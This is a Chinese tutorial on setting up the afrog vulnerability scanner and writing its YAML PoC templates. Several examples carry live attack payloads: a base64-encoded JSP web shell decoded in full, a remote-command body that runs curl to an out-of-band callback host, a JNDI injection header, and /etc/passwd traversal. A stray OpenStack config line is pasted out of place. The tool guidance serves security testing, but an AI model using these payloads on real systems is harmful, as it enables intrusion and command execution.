【漏洞扫描】afrog v2.9.9 官方版-快速上手版

下载

快捷下载:afrog v2.9.9 官方版

Binary:

$ https://github.com/zan8in/afrog/releases

GitHub:

 crudini --set /etc/nova/nova.conf DEFAULT scheduler_default_filters RetryFilter,AvailabilityZoneFilter,ComputeFilter,ComputeCapabilitiesFilter,ImagePropertiesFilter,ServerGroupAntiAffinityFilter,ServerGroupAffinityFilter

Go:

$ go install -v github.com/zan8in/afrog/v2/cmd/afrog@latest

什么是afrog❓

Afrog是一款高性能的漏洞扫描器,快速稳定。它支持用户自定义的 PoC,并内置了多种类型,例如 CVE、CNVD、默认密码、信息泄露、指纹识别、未经授权的访问、任意文件读取和命令执行。借助 afrog,网络安全专业人员可以快速验证和修复漏洞,这有助于增强其安全防御能力。

afrog的快速上手✨

默认情况下,afrog 会扫描所有内置的 PoC,如果发现任何漏洞,它会自动创建一个 HTML 报告,并将扫描日期作为文件名。

afrog -t https://example.com

运行 afrog 时出现警告

如果您看到一条错误消息,提示:

[ERR] ceye reverse service not set: /home/afrog/.config/afrog/afrog-config.yaml

这意味着您需要修改配置文件

要执行自定义 PoC 目录,您可以使用以下命令:

afrog -t https://example.com -P mypocs/

同时扫描多个 URL。

afrog -T urls.txt

配置文件(仔细阅读)⭐

第一次启动 afrog 时,它会自动创建一个名为 的配置文件,该配置文件将保存在当前用户目录下的 。afrog-config.yaml``$HOME/.config/afrog/afrog-config.yaml

下面是一个示例配置文件:

reverse:
  ceye:
    api-key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    domain: "xxxxxx.ceye.io"
  jndi:
    jndi_address: "x.x.x.x"
    ldap_port: "1389"
    api_port: "34567"

reverse是一个反向连接平台,用于验证无法回显的命令执行漏洞。目前,只能使用 ceye 进行验证。

获取和配置cyce

ceye.io 和 eye.sh 配一个就可以,当然也可以两个都配置。优先级是 eye.sh > ceye.io

自动生成 afrog-config.yaml路径

  1. windows 操作系统位置:C:\Users\yourname\.config\afrog
  2. Linux 操作系统位置 ~/yourname/.config/afrog,特别注意你执行的用户权限,如果使用 sudu 的话位置则是 /root/.config/afrog

若要获取 ceye,请按照下列步骤操作:

  • 转到 ceye.io 网站并注册一个帐户。
  • 登录并进入个人设置页面。
  • 复制 和 并在文件中正确配置它们。domain``api-key``afrog-config.yaml

配置cyce

1.注册账户,进入到个人设置页面

【漏洞扫描】afrog v2.9.9 官方版-快速上手版_第1张图片

2.打开此电脑->本地磁盘C:->用户->你的用户名->.config->afrog

配置afrog-config文件,安装了vscode的用户可以直接双击打开

【漏洞扫描】afrog v2.9.9 官方版-快速上手版_第2张图片

JNDI 配置

JNDI 漏洞是指利用 Java 应用程序中的 JNDI(Java 命名和目录接口)功能的安全漏洞。此类漏洞可导致远程执行代码或其他安全问题。

若要获取 JNDI,请按照下列步骤操作:

  • 如需获取源码并编译 JAR 文件,请访问官网 github.com/r00tSe7en/JNDIMonitor。或者,您可以前往 afrog 官方网站 afrog/helper/jndi 下载预编译的 JAR 文件
  • 将文件上传到服务器(如VPS服务器),执行以下启动命令:JNDIMonitor-2.0.1-SNAPSHOT.jar
java -jar ./JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456

我们选择前往afrog官方网站下载文件(有需要文件的可以留言评论)

注:使用该命令需要配置java环境

【漏洞扫描】afrog v2.9.9 官方版-快速上手版_第3张图片

还有一个JSON输出,是面向开发人员的,这里我就不多叙述了,有需要可以前往原站自行查看。

小试牛刀

在上面,我们已经配置了所需要的基本配置,接下来,我们就来实战扫描看看!

注:不能在未授权情况下在公网进行渗透测试

看看我们发现了什么!

【漏洞扫描】afrog v2.9.9 官方版-快速上手版_第4张图片

【漏洞扫描】afrog v2.9.9 官方版-快速上手版_第5张图片

Afrog Poc内置函数(参考)

注意事项

在使用 Afrog 内置函数时,请注意以下事项:它们仅能在 set 和 expression 中声明,而不能直接在 path、headers、body 等位置使用。

例如:

id: demo

info:
  name: Demo
  author: zan8in
  severity: info

rules:
  r0:
    request:
      method: POST
      path: /md5={{md5(string(randomInt(10000000, 50000000)))}} # 错误
      headers:
        md5str: "{{md5(randomLowercase(16))}}" # 错误
      body: "{{randLowercase(32)}}" # 错误
    expression: true
expression: r0()

正确用法是首先在 set 内声明,详细用法请参考 md5 函数示例

内置函数源码位置:v2\pkg\runner\celcompile.go

randomInt

生成一个指定长度的随机数字

生成一个 10000, 99999 之间的随机数

r1: randomInt(10000, 99999)

生成一个 800000000, 1000000000 之间的随机数

r1: randomInt(800000000, 1000000000)

randomInt 完整示例

id: random-int-demo

info:
  name: Random Integer Demo
  author: zan8in
  severity: info

set:
  r1: randomInt(10000, 99999)
  r2: randomInt(800000000, 1000000000)
rules:
  r0:
    request:
      method: GET
      path: /r1={{r1}}&r2={{r2}}
    expression: true
expression: r0()

请求包

GET /r1=60501&r2=986034118 HTTP/1.1
Host: 192.168.66.166

randomLowercase

生成一个指定长度的随机字符串

生成一个长度6的字符串

randstr: randomLowercase(6)

randomLowercase 完整示例

id: random-string-demo

info:
  name: Random String Demo
  author: zan8in
  severity: info

set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
rules:
  r0:
    request:
      method: POST
      path: /filename={{randstr}}.php
      body: "{{randbody}}"
    expression: true
expression: r0()

请求包

POST /filename=xszgrr.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

uxqbyjmetnfxsvxdqeirapxmrzwolksf

bcontains

验证一个[]byte是否包含另一个[]byte的函数,区分大小写

response.body.bcontains(b'ThinkPHP')
response.raw_header.bcontains(b'Set-Cookie')

ibcontains

验证一个[]byte是否包含另一个[]byte的函数,不区分大小写

response.body.ibcontains(b'thinkphp')
response.raw_header.ibcontains(b'set-cookie')

contains

验证一个字符串是否包含另一个字符串的函数,区分大小写

response.headers["content-type"].icontains("application/json") 

icontains

验证一个字符串是否包含另一个字符串的函数,不区分大小写

response.headers["location"].icontains("zabbix.php?action=dashboard.view") 

replaceAll

用于替换字符串中的所有匹配项

基本用法

r1: replaceAll("this is a test", "test", "Test")

完整示例

id: replace-all-demo

info:
  name: ReplaceAll Demo
  author: zan8in
  severity: info

set:
  r1: replaceAll("this is a test", "test", "Test")
rules:
  r0:
    request:
      method: POST
      path: /
      body: "{{r1}}"
    expression: true
expression: r0()

请求包

POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

this is a Test

toUpper

字符串转为大写

r1: toUpper("admin")

结果

ADMIN

toLower

字符串转为小写

r1: toLower("Admin")

结果

admin

md5

md5 加密

加密一个随机 Int 类型变量

md5str: md5(string(randomInt(10000000, 50000000))) 

加密一个随机 string 类型变量

md5str: md5(randomLowercase(16))

加密一个字符串

md5str: md5("123456")

md5 完整示例

创建 md5-demo.yaml 文件,编写内容

id: md5-demo

info:
  name: MD5 Demo
  author: zan8in
  severity: info

set:
  md5str-1: md5(string(randomInt(10000000, 50000000)))
  md5str-2: md5(randomLowercase(16))
  r3: md5("123456")
rules:
  r0:
    request:
      method: GET
      path: /
      headers:
        md5-1: "{{md5str-1}}"
        md5-2: "{{md5str-2}}"
        md5-3: "{{r3}}"
    expression: true
expression: r0()

请求包

GET / HTTP/1.1
Host: 192.168.66.166
Md5-1: a1291a39f613c3351516bf1e30ef3f40
Md5-2: 30272788dca037d61cb8e6790c61692f
Md5-3: e10adc3949ba59abbe56e057f20f883e

base64

对字符串或字节数组进行 Base64 编码

编码一个字符串

admin: base64("admin:admin")

编码一个字节数组

user: base64(bytes("user:user"))

编码一个变量

rInt1: randomInt(800000000, 1000000000)
rInt2: randomInt(800000000, 1000000000)
result: base64(string(rInt1+rInt2))

base64 完整示例

id: base64-demo

info:
  name: Base64 Demo
  author: zan8in
  severity: info

set:
  admin: base64("admin:admin")
  user: base64(bytes("user:user"))
  rInt1: randomInt(800000000, 1000000000)
  rInt2: randomInt(800000000, 1000000000)
  result: base64(string(rInt1+rInt2))
rules:
  r0:
    request:
      method: POST
      path: /
      headers:
        Authorization: "Basic {{admin}}"
        User: "{{user}}"
      body: "{{result}}"
    expression: true
expression: r0()

请求包

POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46YWRtaW4=
User: dXNlcjp1c2Vy

MTc0ODQzNDI5Nw==

base64Decode

对字符串或字节数组进行 Base64 解码

base64 完整示例

id: base64-decode-demo

info:
  name: Base64 Decode Demo
  author: zan8in
  severity: info

set:
  bodystr: base64Decode("REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=")
rules:
  r0:
    request:
      method: POST
      path: /
      body: "{{bodystr}}"
    expression: true
expression: r0()

请求包

POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd")) + "
");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

urlencode

对字符串或字节数组进行 Url 编码

password: urlencode(base64("1234"))

urlencode 完整示例

id: url-encode-demo

info:
  name: Url Encode Demo
  author: zan8in
  severity: info

set:
  filename: randomLowercase(4) + ".txt"
  content: randomLowercase(8)
  base64Url: urlencode(base64("`echo " + content + " > " + filename + "`"))
  password: urlencode(base64("1234"))
  bodystr: |
        <%@Register
            TagPrefix = 'x'
            Namespace = 'System.Runtime.Remoting.Services'
            Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
        %>
        
  payload: urlencode(bodystr)
rules:
  r0:
    request:
      method: POST
      path: /user=admin&psw={{password}}&base64Url={{base64Url}}
      body: "{{payload}}"
    expression: true
expression: r0()

请求包

POST /user=admin&psw=MTIzNA%3D%3D&base64Url=YGVjaG8gZWFwZGh4aWogPiBlcGdkLnR4dGA%3D HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Content-Type: application/x-www-form-urlencoded

%3C%25%40Register%0A++++TagPrefix+%3D+%27x%27%0A++++Namespace+%3D+%27System.Runtime.Remoting.Services%27%0A++++Assembly+%3D+%27System.Runtime.Remoting%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3Db77a5c561934e089%27%0A%25%3E%0A%3Cx%3ARemotingService+runat%3D%27server%27%0A++++Context-Response-ContentType%3D%27xxx%27%0A%2F%3E%0A

urldecode

对字符串或字节数组进行 Url 解码

url: urldecode("https%3A%2F%2Fexample%2Ecom")

urldecode 完整示例

id: url-decode-demo

info:
  name: Url Decode Demo
  author: zan8in
  severity: info

set:
  url: urldecode("https%3A%2F%2Fexample%2Ecom")
rules:
  r0:
    request:
      method: GET
      path: /
      headers:
        Referer: '{{url}}'
    expression: true
expression: r0()

请求包

GET / HTTP/1.1
Host: 192.168.66.166
Referer: https://example.com

hexdecode

对字符串进行 hex 解码

hexdecode 完整示例

id: hex-decode-demo

info:
  name: Hex Decode Demo
  author: zan8in
  severity: info

set:
  hexbody: hexdecode("789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b2dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb")
rules:
  r0:
    request:
      method: POST
      path: /
      body: "{{hexbody}}"
    expression: true
expression: r0()

请求包

POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

x�
�ff�b�����"AQN �d��\u�
?�!H��MJBC8����c�K-��f`d�����2�:>�58�+���I���`q�&�-�Pm��B,A� ���

日期

各种日期格式拼接


比如:2023

year = year(0)

年简写
比如:23

shortYear = shortyear(0)

月份
比如:12

month = month(0)


比如:02

day = day(0)

当前时间戳(秒)

tsecond = timestamp_second(0)

完整示例

id: date-demo

info:
  name: Date Demo
  author: zan8in
  severity: info

set:
  year: year(0)
  shortYear: shortyear(0)
  month: month(0)
  day: day(0)
  tsecond: timestamp_second(0)
  millisecond: tsecond + "000"
  pathname: shortyear(0) + month(0)
  logfile: shortyear(0) + "_" + month(0) + "_" + day(0) + ".log"
rules:
  r0:
    request:
      method: GET
      path: /log={{pathname}}/{{logfile}}
      headers:
        Y: "{{year}}"
        S: "{{shortYear}}"
        M: "{{month}}"
        D: "{{day}}"
        T: "{{tsecond}}"
        MS: "{{millisecond}}"
        L: "log={{pathname}}/{{logfile}}"
    expression: true
expression: r0()

请求包

GET /log=2312/23_12_11.log HTTP/1.1
Host: 192.168.66.166
S: 23
M: 12
D: 11
T: 1702266237
Ms: 1702266237000
L: log=2312/23_12_11.log
Y: 2023

versionCompare

用于类似 2.89.1 > 2.67.30 版本号大小的判断,返回 True / False

versionCompare 完整示例

id: CVE-2023-46604

info:
  name: Apache ActiveMQ RCE
  author: zan8in
  severity: critical

set:
  hostname: request.url.host
  host: request.url.domain
  port: request.url.port
rules:
  r0:
    request:
      type: tcp
      host: "{{host}}:61616"
      data: "\n"
      read-size: 1024
    expression: response.raw.ibcontains(b'ActiveMQ')
    extractors:
      - type: regex
        extractor:
          ext1: '"ProviderVersion.+(?P[0-9]\\.[0-9]{1,2}\\.[0-9]{1,2})".bsubmatch(response.raw)'
          version: ext1["version"]
  r1:
    request:
      type: tcp
      host: "{{host}}:61616"
      data: "\n"
      read-size: 1024
    expression: |
      versionCompare(string(version),"<","5.15.16") ||
      (versionCompare(string(version),">","5.16.0") && versionCompare(string(version),"<","5.16.7")) ||
      (versionCompare(string(version),">","5.17.0") && versionCompare(string(version),"<","5.17.6")) ||
      (versionCompare(string(version),">","5.18.0") && versionCompare(string(version),"<","5.18.3"))
expression: r0() && r1()

bsubmatch

正则表达式处理中的一个函数,用于获取与指定子表达式匹配的部分字符串,用于提取匹配的子表达式内容。

返回值:提取匹配的子表达式内容

bsubmatch 完整示例

r0: 当登录请求成功且响应头包含 Set-Cookie 时,将其提取为变量 cookie。

r1: 使用提取的 Cookie 访问首页 /index.php。

id: bsubmatch-demo

info:
  name: Regex bsubmatch Demo
  author: zan8in
  severity: info

rules:
  r0:
    request:
      method: POST
      path: /login.php
      body: "username=admin&password=123456"
    expression: true
    output:
      search: '"Set-Cookie: (?P.+)".bsubmatch(response.raw_header)'
      cookie: search["cookie"]
  r1:
    request:
      method: GET
      path: /index.php
      headers:
        Cookie: "{{cookie}}"
    expression: true
expression: r0()

r0 请求

POST /login.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded

username=admin&password=123456

r0 响应

HTTP/1.1 302
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 11 Dec 2023 06:06:42 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
Set-Cookie: PHPSESSID=xxx.xxx; Path="/"

r1 请求

GET /index.php HTTP/1.1
Host: 192.168.66.166
Cookie: PHPSESSID=xxx.xxx; Path="/"
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36

r1 响应

HTTP/1.1 200
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 11 Dec 2023 06:06:42 GMT



Admin Panel

Console

...

bmatches

用于检查一个字符串是否与正则表达式匹配。

返回值:True / False

读取文件 /etc/passwd 并验证是否成功读取

id: fileread-demo

info:
  name: File Read Demo
  author: zan8in
  severity: info

rules:
  r0:
    request:
      method: POST
      path: /download.php?file=../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

执行系统命令id并验证是否成功执行

id: rce-demo

info:
  name: Remote Code Execution Demo
  author: zan8in
  severity: info

rules:
  r0:
    request:
      method: POST
      path: /rce.php?cmd=id
    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()

wait

wait 用于执行无回显的命令的POC,通过调用外部链接平台,在等待几秒钟后请求该外部链接平台,以验证是否成功接收到命令执行的信号。

reverse 漏洞验证要求配置 reverse 环境,配置教程

基本用法

set 声明两个变量

reverse: 初始化一个 dnslog

reverseURL: dnslog 的 url,比如 http://xxxxxx.xxyyy.ceye.io,一般用于 curl {{reverseURL}} 操作

reverseHost: dnslog 的 host,比如 xxyy.ceye.io,一般用于 ping {{reverseHost}} 操作

set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseHost: reverse.url.host

wait 完整示例

id: reverse-demo

info:
  name: Reverse Demo
  author: zan8in
  severity: info

set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  r0:
    request:
      method: POST
      path: /rce.php
      body: |
        
        
          supervisor.supervisord.options.warnings.linecache.os.system
          
          
          curl {{reverseURL}}
          
          
        
    expression: response.status == 200 && reverse.wait(5)
expression: r0()

请求包

POST /rce.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded



  supervisor.supervisord.options.warnings.linecache.os.system
  
  
  curl http://36sSyqGPGpMZ.xxyy.eyes.sh
  
  

JNDI

用于验证 JNDI 相关漏洞

JNDI 漏洞验证要求配置 JNDI 环境,配置教程

基本用法

与 wait 类似,JNDI 也需要使用 set 声明两个变量。

reverse: 初始化一个 JNDI

jndiURL: JNDI 的 url,比如 x.x.x.x:1389/uqaUoxlZ067lSK0Mt37aC,一般用于 LDAP 操作

set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path

wait 完整示例

id: reverse-demo

info:
  name: Reverse Demo
  author: zan8in
  severity: info

set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path
rules:
  r0:
    request:
      method: GET
      path: /websso/SAML2/SSO/vsphere.local?SAMLRequest=
      headers:
        X-Forwarded-For: "${jndi:ldap:${::-/}${::-/}{{jndiURL}}}"
    expression: reverse.jndi(5)
expression: r0()

请求包

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.66.166
X-Forwarded-For: ${jndi:ldap:${::-/}${::-/}x.x.x.x:1389/QW5qJX3cb16PKivauJxyWl}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Ysoserial

用于生成 Java 反序列化 payload

基本用法

ysoserial(payload, command, encode)

payload: 攻击载荷,支持payload列表

command: 执行的命令,比如 xxx.dnslog.cn

encode: 加密方法,目前支持:base64 和 hex

参考示例

CVE-2023-49070、CVE-2021-29200

AesCBC

用于 aes cbc 加密的 PoC

基本用法

aesCBC(text,key,iv)

text: 被加密的字符串

key: 加密 key

iv: 加密 iv

返回加密结果

参考示例

CVE-2023-20888

你可能感兴趣的:(网安工具,afrog,漏洞扫描,渗透测试,网络安全)